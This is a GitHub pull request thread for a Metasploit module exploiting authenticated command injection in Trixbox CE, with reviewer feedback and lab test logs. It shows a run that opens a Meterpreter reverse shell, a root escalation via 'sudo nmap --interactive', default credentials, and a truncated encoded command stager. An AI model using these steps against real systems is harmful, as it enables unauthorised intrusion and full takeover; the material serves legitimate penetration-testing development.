

[New issue](#)[Jump to bottom](#)

## Trixbox CE v2.8.0.4 endpoint\_devicemap.php Authenticated Remote Command Execution #13353

[Merged](#) gwillcox-r7 merged 1 commit into [rapid7:master](#) from stasinopoulos:patch-1 on May 4, 2020

Conversation 313 Commits 1 Checks 0 Files changed 2



stasinopoulos commented on Apr 28, 2020 • edited

[Contributor](#)

This module exploits an authenticated OS command injection vulnerability found in TrixBox CE version 1.2.0 to 2.8.0.4 inclusive in the `network` `POST` parameter of the `/maint/modules/endpointcfg/endpoint_devicemap.php` page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the `asterisk` user.

## Example Usage

```
msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.8
rhosts => 192.168.1.8
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options
```

Module options (exploit/unix/webapp/trixbox\_ce\_endpoint\_devicemap\_rce):

Name	Current Setting	Required	Description
----	-----	-----	-----
HttpPassword	password	yes	Password to login with
HttpUsername	maint	yes	User to login with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.1.8	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)
VHOST		no	HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic (Linux Dropper)

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.8:80 - Authenticating using "maint:password" credentials...
[+] 192.168.1.8:80 - Authenticated successfully.
[+] 192.168.1.8:80 - Trixbox CE v2.8.0.4 identified.
[*] 192.168.1.8:80 - Sending payload (150 bytes)...
[*] Sending stage (980808 bytes) to 192.168.1.8
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.8:38680) at 2020-05-02 03:55:24 -0400
[*] Command Stager progress - 100.00% done (799/799 bytes)
```

```
meterpreter > sysinfo
Computer      : trixbox1.localdomain
OS            : CentOS 5.5 (Linux 2.6.18-164.11.1.el5)
Architecture : i686
BuildTup1e   : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > shell
Process 9259 created.
Channel 1 created.
id
uid=100(asterisk) gid=101(asterisk) groups=101(asterisk)
whoami
asterisk
```

Once a shell has been gained as the `asterisk` user, attackers can elevate their privileges to `root` by executing the following commands:

```
sudo nmap --interactive

Starting Nmap V. 4.76 ( http://nmap.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

[gwillcox-r7](#) added the [needs-docs](#) label on Apr 28, 2020[label-actions](#) [bot](#) commented on Apr 28, 2020

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

- [Writing Module Documentation](#)
- [Template](#)
- [Examples](#)

gwillcox-r7 commented on Apr 28, 2020

Contributor

@stasinopoulos Thank you for this submission; it looks very well done and we appreciate the level of detail put into this! Only thing I will need before I can start testing this is some additional documentation details as per the bot's instructions above. Please follow the directions in those links and make sure to pay particular attention to the instructions where it asks you to describe how you set up the environment step by step (don't just say "grab version 1.1 and then run the exploit"; we need to know how you set it up step by step) and how you obtained the vulnerable version (download site, ftp site, etc).

Thanks again and let me know if you have any questions and I'll be happy to assist!

stasinopoulos mentioned this pull request on Apr 28, 2020

Added documentation regarding Trixbox CE <= v2.8.0.4 Authenticated RCE #13354

🔒 Closed

stasinopoulos commented on Apr 28, 2020

Contributor Author

@gwillcox-r7 thanks for your prompt response. Kindly confirm that the provided documentation is fine.

gwillcox-r7 commented on Apr 28, 2020 • edited

Contributor

@stasinopoulos Please add your documentation as a separate commit to this branch rather than opening up a new branch. Commit to your local branch `patch-1`, then push your changes up to your fork of `metasploit-framework`.

So:

1. `git checkout patch-1`
2. `nano documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md`
3. `git add documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md`
4. Add changes at this point to the file to add documentation
5. `git commit -m "Adding in trixbox documentation"`
6. `git push origin master`

stasinopoulos commented on Apr 28, 2020

Contributor Author

@gwillcox-r7 Done n' sorry for the mess :P

👍 1



gwillcox-r7 reviewed on Apr 28, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated

Show resolved

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated

Show resolved

gwillcox-r7 commented on Apr 28, 2020

Contributor

No problem @stasinopoulos, all part of the learning experience :)

gwillcox-r7 removed the `needs-docs` label on Apr 28, 2020

gwillcox-r7 self-assigned this on Apr 28, 2020

adfoster-r7 added the `needs-linting` label on Apr 28, 2020

label-actions (bot) commented on Apr 28, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

```
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
```

You can automate most of these changes with the `-a` flag:

```
rubocop -a <directory or file>
```

Please update your branch after these have been made, and reach out if you have any problems.

  **stasinopoulos** changed the title ~~Trixbox CE v2.8.0.4 Authenticated RCE~~ Trixbox CE v2.8.0.4 Authenticated RCE on Apr 28, 2020



**gwillcox-r7** requested changes on Apr 28, 2020

[View changes](#)

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 


modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

**gwillcox-r7** commented on Apr 28, 2020

**Contributor**

@**stasinopoulos** Please also run `rubocop -a modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb` and commit and upload the changes that it makes.

  **stasinopoulos** changed the title ~~Trixbox CE v2.8.0.4 Authenticated RCE~~ Trixbox CE v2.8.0.4 (and prior versions) Authenticated RCE on Apr 28, 2020

  **bcoles** added the **module** label on Apr 28, 2020

 **bcoles** reviewed on Apr 28, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

 **bcoles** reviewed on Apr 28, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

 **bcoles** reviewed on Apr 28, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

 **bcoles** reviewed on Apr 28, 2020

[View changes](#)


modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

  **stasinopoulos** changed the title ~~Trixbox CE v2.8.0.4 (and prior versions) Authenticated RCE~~ Trixbox CE v2.8.0.4 endpoint\_devicemap.php Authenticated Remote Command Execution on Apr 28, 2020




**gwillcox-r7** requested changes on Apr 28, 2020

[View changes](#)


 **gwillcox-r7** left a comment


**Contributor**

Please incorporate @**bcoles**'s changes and add these ones in as well.

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

modules/exploits/unix/webapp/trixbox\_ce\_auth\_rce.rb Outdated 

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

documentation/modules/exploit/unix/webapp/trixbox\_ce\_auth\_rce.md Outdated 

documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md	Outdated	Show resolved
documentation/modules/exploit/unix/webapp/trixbox_ce_auth_rce.md	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_auth_rce.rb	Outdated	Show resolved

bcoles reviewed on Apr 29, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved

bcoles reviewed on Apr 29, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
-------------------------------------------------------------------	----------	---------------

bcoles reviewed on Apr 29, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
-------------------------------------------------------------------	----------	---------------

bcoles removed the **needs-linting** label on Apr 29, 2020

bcoles reviewed on Apr 29, 2020

[View changes](#)

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved
modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	Show resolved

modules/exploits/unix/webapp/trixbox_ce_endpoint_devicemap_rce.rb	Outdated	
<pre> 65 + unless res 66 +   return CheckCode::Unknown('Connection failed') 67 + end 68 + unless res.body.include?(fingerprint) </pre>		

bcoles on Apr 29, 2020
Contributor

It might be a good idea to also include an authentication check, ie:

```

if res.code == 401
  return CheckCode::Unknown('Authentication Failed')
end

```

gwillcox-r7 on Apr 30, 2020
Contributor

@stasinopoulos, I'm not sure if you fixed this issue, as your current code is assuming that if the target failed to respond with a 200 OK code that authentication failed. I think what @bcoles is trying to say is that usually a server returns a 401 error code or something similar if you weren't able to log in successfully. So your current check might state that authentication failed when this was not the case.

Also in future can you please wait for @bcoles or myself to mark an issue as resolved? This will prevent any confusion as to whether or not an issue is actually complete or if it needs further work.

@bcoles Can you confirm things here are as you would like to see them?

stasinopoulos commented on Apr 29, 2020

Contributor Author

@gwillcox-r7 @bcoles are we ok for the merge of that module (btw thanks for your support)?

48 hidden items  
[Load more...](#)



gwillcox-r7 reviewed on May 1, 2020

[View changes](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved

gwillcox-r7 commented on May 1, 2020

Contributor

@stasinopoulos Okay I think it is about time we did another full review of the code and the documentation. Going to get that going so long, and hopefully pick up anything else that needs to be done.

After that is done and any changes have been incorporated, should be good to test and then land if everything goes well.



1



gwillcox-r7 requested changes on May 1, 2020

[View changes](#)

gwillcox-r7 left a comment

Contributor

Some more changes to go over, definitely looking a lot better though!

documentation/modules/exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.md Outdated

Show resolved

documentation/modules/exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.md Outdated

Show resolved

documentation/modules/exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.md Outdated

Show resolved

documentation/modules/exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.md Outdated

Show resolved

documentation/modules/exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.md Outdated

Show resolved

10 hidden conversations  
[Load more...](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb

Show resolved

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved



gwillcox-r7 reviewed on May 2, 2020

[View changes](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

```
134 + end
135 + version = get_target(res)
136 + if version.nil?
137 + return CheckCode::Safe
```

gwillcox-r7 on May 2, 2020

Contributor

Every other case I see your outputting a line before returning a `CheckCode` code, so can we update this line to print out a message using `print_error` before we execute `return CheckCode::Safe` ?

wwu on May 2, 2020 • edited

Contributor

You can also do `CheckCode::Safe('This is the reason.')` to automatically print the reason when running `check` directly.

Note that this has output limitations in the current implementation unless the `AutoCheck` mixin is used. A print will be universal. I hope that we can streamline this developer experience in the near future.

stasinopoulos on May 3, 2020

Contributor Author

Updated

gwillcox-r7 on May 3, 2020 • edited

Contributor

A lot of people don't run with `datastore[VERBOSE]` set to `TRUE`, so all of these `vprint_error` or commands in the format of `vprint_xxxx` won't ever be executed unless this is set. This is not what we want, as we want the user to always receive info about errors. Status updates, however, can be optionally displayed via `vprint_status` if they are of extremely low value, however, most of the time this is not the case and one should just use `print_status` as per normal.

1



gwillcox-r7 on May 3, 2020 • edited

Contributor

Also for reference this is the code that will be run when you execute `vprint_error`:

```
def vprint_error(msg='')
  print_error(msg) if datastore['VERBOSE'] || (!framework.nil? && framework.datastore['VERBOSE'])
end
```

Taken from `lib/msf/core/module/ui/message/verbose.rb` (thanks to @wvu-r7 for pointing this out to me)

1



gwillcox-r7 reviewed on May 2, 2020

[View changes](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb

Show resolved



gwillcox-r7 reviewed on May 2, 2020

[View changes](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved



gwillcox-r7 reviewed on May 3, 2020

[View changes](#)

modules/exploits/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce.rb Outdated

Show resolved

gwillcox-r7 commented on May 3, 2020 • edited

Contributor

@stasinopoulos Looks like your `check` code isn't working correctly for TriBox CE 1.2.0:

```
msf5 > use exploit/unix/webapp/triobox_ce_endpoint_devicemap_rce
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > show options
```

Module options (exploit/unix/webapp/triobox\_ce\_endpoint\_devicemap\_rce):

Name	Current Setting	Required	Description
HttpPassword	password	yes	Password to login with
HttpUsername	maint	yes	User to login with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:filepath'
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)
VHOST		no	HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic (Linux Dropper)

```
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set LHOST 192.168.205.1
LHOST => 192.168.205.1
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148
RHOSTS => 192.168.205.148
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > set SRVHOST 192.168.205.1
SRVHOST => 192.168.205.1
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) > exploit
```

```
[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.148:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Triobox CE v.x identified.
nil versions are discouraged and will be deprecated in Rubygems 4
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/triobox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020

Contributor

@stasinopoulos TriBox CE 2.0 seems to be timing out....are you sure you tested this on all systems?

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.145:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > ping 192.168.205.145
[*] exec: ping 192.168.205.145

PING 192.168.205.145 (192.168.205.145): 56 data bytes
64 bytes from 192.168.205.145: icmp_seq=0 ttl=64 time=0.292 ms
64 bytes from 192.168.205.145: icmp_seq=1 ttl=64 time=0.355 ms
64 bytes from 192.168.205.145: icmp_seq=2 ttl=64 time=0.255 ms
64 bytes from 192.168.205.145: icmp_seq=3 ttl=64 time=0.405 ms
64 bytes from 192.168.205.145: icmp_seq=4 ttl=64 time=0.363 ms
64 bytes from 192.168.205.145: icmp_seq=5 ttl=64 time=0.329 ms
64 bytes from 192.168.205.145: icmp_seq=6 ttl=64 time=0.426 ms
64 bytes from 192.168.205.145: icmp_seq=7 ttl=64 time=0.427 ms
64 bytes from 192.168.205.145: icmp_seq=8 ttl=64 time=0.255 ms
64 bytes from 192.168.205.145: icmp_seq=9 ttl=64 time=0.346 ms
64 bytes from 192.168.205.145: icmp_seq=10 ttl=64 time=0.598 ms
^C
--- 192.168.205.145 ping statistics ---
11 packets transmitted, 11 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.255/0.368/0.598/0.093 ms
Interrupt: use the 'exit' command to quit
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > nmap -p 80 192.168.205.145
[*] exec: nmap -p 80 192.168.205.145

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 22:09 CDT
Nmap scan report for 192.168.205.145
Host is up (0.00039s latency).

PORT      STATE SERVICE
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020

Contributor

And finally latest version is also not working. I can confirm I can connect to the server via the browser fine:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[-] Exploit aborted due to failure: unreachable: Connection failed.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options

Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce):

  Name      Current Setting  Required  Description
  ----      -
  HttpPassword  password        yes       Password to login with
  HttpUsername  maint           yes       User to login with
  Proxies       no              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS        192.168.205.150 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:⟨path⟩'
  RPORT         80              yes       The target port (TCP)
  SRVHOST       192.168.205.1  yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT       8080            yes       The local port to listen on.
  SSL           false           no        Negotiate SSL/TLS for outgoing connections
  SSLCert       no              no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH       no              no        The URI to use for this exploit (default is random)
  VHOST         no              no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.205.1  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic (Linux Dropper)

msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

gwillcox-r7 commented on May 3, 2020

Contributor

Weird, I wonder what was causing that, the server suddenly worked now for 2.4.2.0:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE v2.4.x identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
```

Will try again with TrixBos CE 1.2.0

Contributor

  |



[illegible]

```
</tr>
</table>

</body>

</html>
[+] 192.168.205.148:80 - Authenticated successfully.
[+] 192.168.205.148:80 - Tribox CE v.x Identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/tribox_ce_endpoint_devicemap_rce) >
```

Contributor

And here is output for TrixBos CE 1.2.3 with tracing enabled:

```
[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.146:80 - Authenticating using "maint:password" credentials...
#####
# Request:
#####
GET /maint/ HTTP/1.1
Host: 192.168.205.146
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Authorization: Basic bWFpbmQ6cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded

#####
# Response:
#####
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 21:24:10 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.11
Content-Length: 5552
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="content-language" content="en" />
<title>tribox - Configuration and Administration</title>
<link href="favicon.ico" rel="SHORTCUT ICON" />
<link rel="stylesheet" type="text/css" media="all" href="include/css/styleNW.css" />
<!-- RMV: added module header -->
</head>

<body>

<table border="0" align="center" cellpadding="0" cellspacing="0" class="okvir_main">
    <tr>
        <td>
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                    <td width="21"></td>
                    <td align="middle" width="100%" background="images/top_tab_bg.gif">
                        </td>
                    <td width="21"></td>
                </tr>
            </table>
            <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" id="okvir">
                <tr>
                    <td>
                        <table width="100%" cellspacing="0">
                            <tr id="header">
                                <td>
                                    </td>
                                    <td id="headerlogo" height="65px">
                                        <a href="http://www.tribox.org">
                                            </a></td>
                                    <td align="right" id="headerbanner">Configuration and Administration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&~
                                </td>
                                <td id="headerlogo"></td>
                            </tr>
                        </table>
                    </td>
                </tr>
                <tr>
                    <td colspan="4">
                        <table cellspacing="0" cellpadding="0" width="100%" border="0">
                            <tr align="center">
                                <td width="58% bgcolor="#004081"></td>
                                <td id="headmenu">
                                    <a class="menuHead" href="index.php">MAIN</a></td>
                                    <td width="1" bgcolor="#d7d7d7"></td>
                                    <td id="headmenu">
                                    <a class="menuHead" href="about.php">ABOUT</a></td>
                                    <td width="1" bgcolor="#d7d7d7"></td>
                                </tr>
                            </table>
                        </td>
                    </tr>
                </tr>
                <tr>
                    <td colspan="4">
                        <table width="100%" border="0" cellspacing="0" cellpadding="0">
                            <tr>
                                <td>
                                    <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                        <tr>
                                            <td align="left" class="vrijeme">Version: 1.2.3
                                                &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&~
                                            </td>
                                        </tr>
                                    </table>
                                </td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>

```

[illegible]

```
</table>

</body>

</html>
[+] 192.168.205.146:80 - Authenticated successfully.
[+] 192.168.205.146:80 - Trixbox CE v.x identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Contributor

I figured out why TrixBox CE 2.0 is failing. Turns out, at least on my install, this server takes several seconds to respond and is much slower than most other installs. This is causing the login request to time out so when exploiting the target, a response is never received in time. I would recommend increasing the timeout by several seconds to allow not only for the fact that this build is slower, but also to allow for the overhead that any slow connections might impose.

Contributor

TrixBBox v1.0: Not correctly identifying the version:

[illegible]

```

        <td>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
                <td align="left" class="vrijeme">Version: 1.0

                &nbsp;   </td>

                <td align="right" class="vrijeme">
                    <span id="clock"></span>
                    <script language="JavaScript" type="text/javascript" src="include/clock.js"></script>
                    &nbsp;  </td>
            </tr>
        </table>
    </td>
</tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" id="glavna">
    <tr>
        <td id="leftcolumn">
            <!-- Start left blocks loop -->
            <div class="blockTitle">Asterisk</div>
            <div class="blockContent">
                <table cellspacing="0">
                    <tr><td id="mainmenu">
                        <a class="menuTop" href="/admin" target="_blank">FreePBX</a>
                        <a class="menuTop" href="configedit/phpconfig.php" target="_blank">Config Edit</a>
                        <a class="menuTop" href="endpointcfg.php">Endpoint Manager</a>
                        <a class="menuTop" href="hudadmin.php">HUD Manager</a>
                    </td></tr>
                </table>
            </div>
            <div class="blockTitle">System</div>
            <div class="blockContent">
                <table cellspacing="0">
                    <tr><td id="mainmenu">
                        <a class="menuTop" href="phpMyAdmin" target="_blank">phpMyAdmin</a>
                        <a class="menuTop" href="phpsysinfo" target="_blank">System Info</a>
                        <a class="menuTop" href="sysmaint.php">System Maint</a>
                        <a class="menuTop" href="javassh.php">SSH Terminal</a>
                    </td></tr>
                </table>
            </div>
            
            <!-- End left blocks loop --><br />
            <br />
        </td><td id="centercolumn">

            <div id="content">
                <div class="blockTitle">Main Menu</div>
                <div class="blockContent">
                    Welcome to trixbox

                    </div>
                </div>
            <br />
            <br />
            <br />
            </td>

            <tr>
                <tr>
                    <td colspan="3">&nbsp;  </td>
                </tr>
            </table>
            </td>
        </tr>
    </table>
    <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
            <td width="21"></td>
            <td align="middle" width="100%" background="images/bot_cat_bg.gif">
            </td>
            <td width="21"></td>
        </tr>
    </table>
    </td>
</tr>
</table>
<table width="758" border="0" align="center" cellpadding="0" cellspacing="0" class="dole">
    <tr>
        <td>
            <div class="privatnost">
                <br />
                Copyright &copy; 2006 by
                <a href="http://www.trixbox.org" target="_self">trixbox.org</a>
                <br />
                <br />
            </div>
        </td>
    </tr>
</table>
</body>

</html>
[+] 192.168.205.144:80 - Authenticated successfully.
[+] 192.168.205.144:80 - Trixbox CE v.x identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >

```

gwillcox-r7 commented on May 4, 2020 • edited ▼

Contributor

@stasinopoulos Here is an updated regex that will fix the regex you have at the moment in your code and will update the output to be better:

```

version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1})/).flatten.first
print_good("#{peer} - Trixbox CE #{version} identified.")

```

If I run this against TrixBox CE 1.1, the output is now a lot more obvious:

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.147:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.147:80 - Authenticated successfully.
[*] 192.168.205.147:80 - Trixbox CE 1.1.0 identified.
[-] Exploit aborted due to failure: not-vulnerable: The target is not vulnerable
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) >
```

Targeting TrixBox 2.4.2.0, this output becomes somewhat less reliable...

```
msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit

[*] Started reverse TCP handler on 192.168.205.1:4444
[*] 192.168.205.150:80 - Authenticating using "maint:password" credentials...
[+] 192.168.205.150:80 - Authenticated successfully.
[+] 192.168.205.150:80 - Trixbox CE 2.0.0 identified.
[*] 192.168.205.150:80 - Sending payload (150 bytes)...
[*] Generated command stager: ["echo -n
f0VMRgEBAQAAAAAAAAAAAAAAAAIAAwABAAAAVIAECDAQAAAAAAAAAAAAAQIAABAAAAAAAAAAAAEAAAAAAAAAIAECACABAjgAAAAgAEAAACAAAAEAAAVUbnCTb1910JPRYMcmxH4PABDFoEQNoEekzjZZ6Co1QYT9uzAy9wJRZI03ZzfmgGVkwV/K
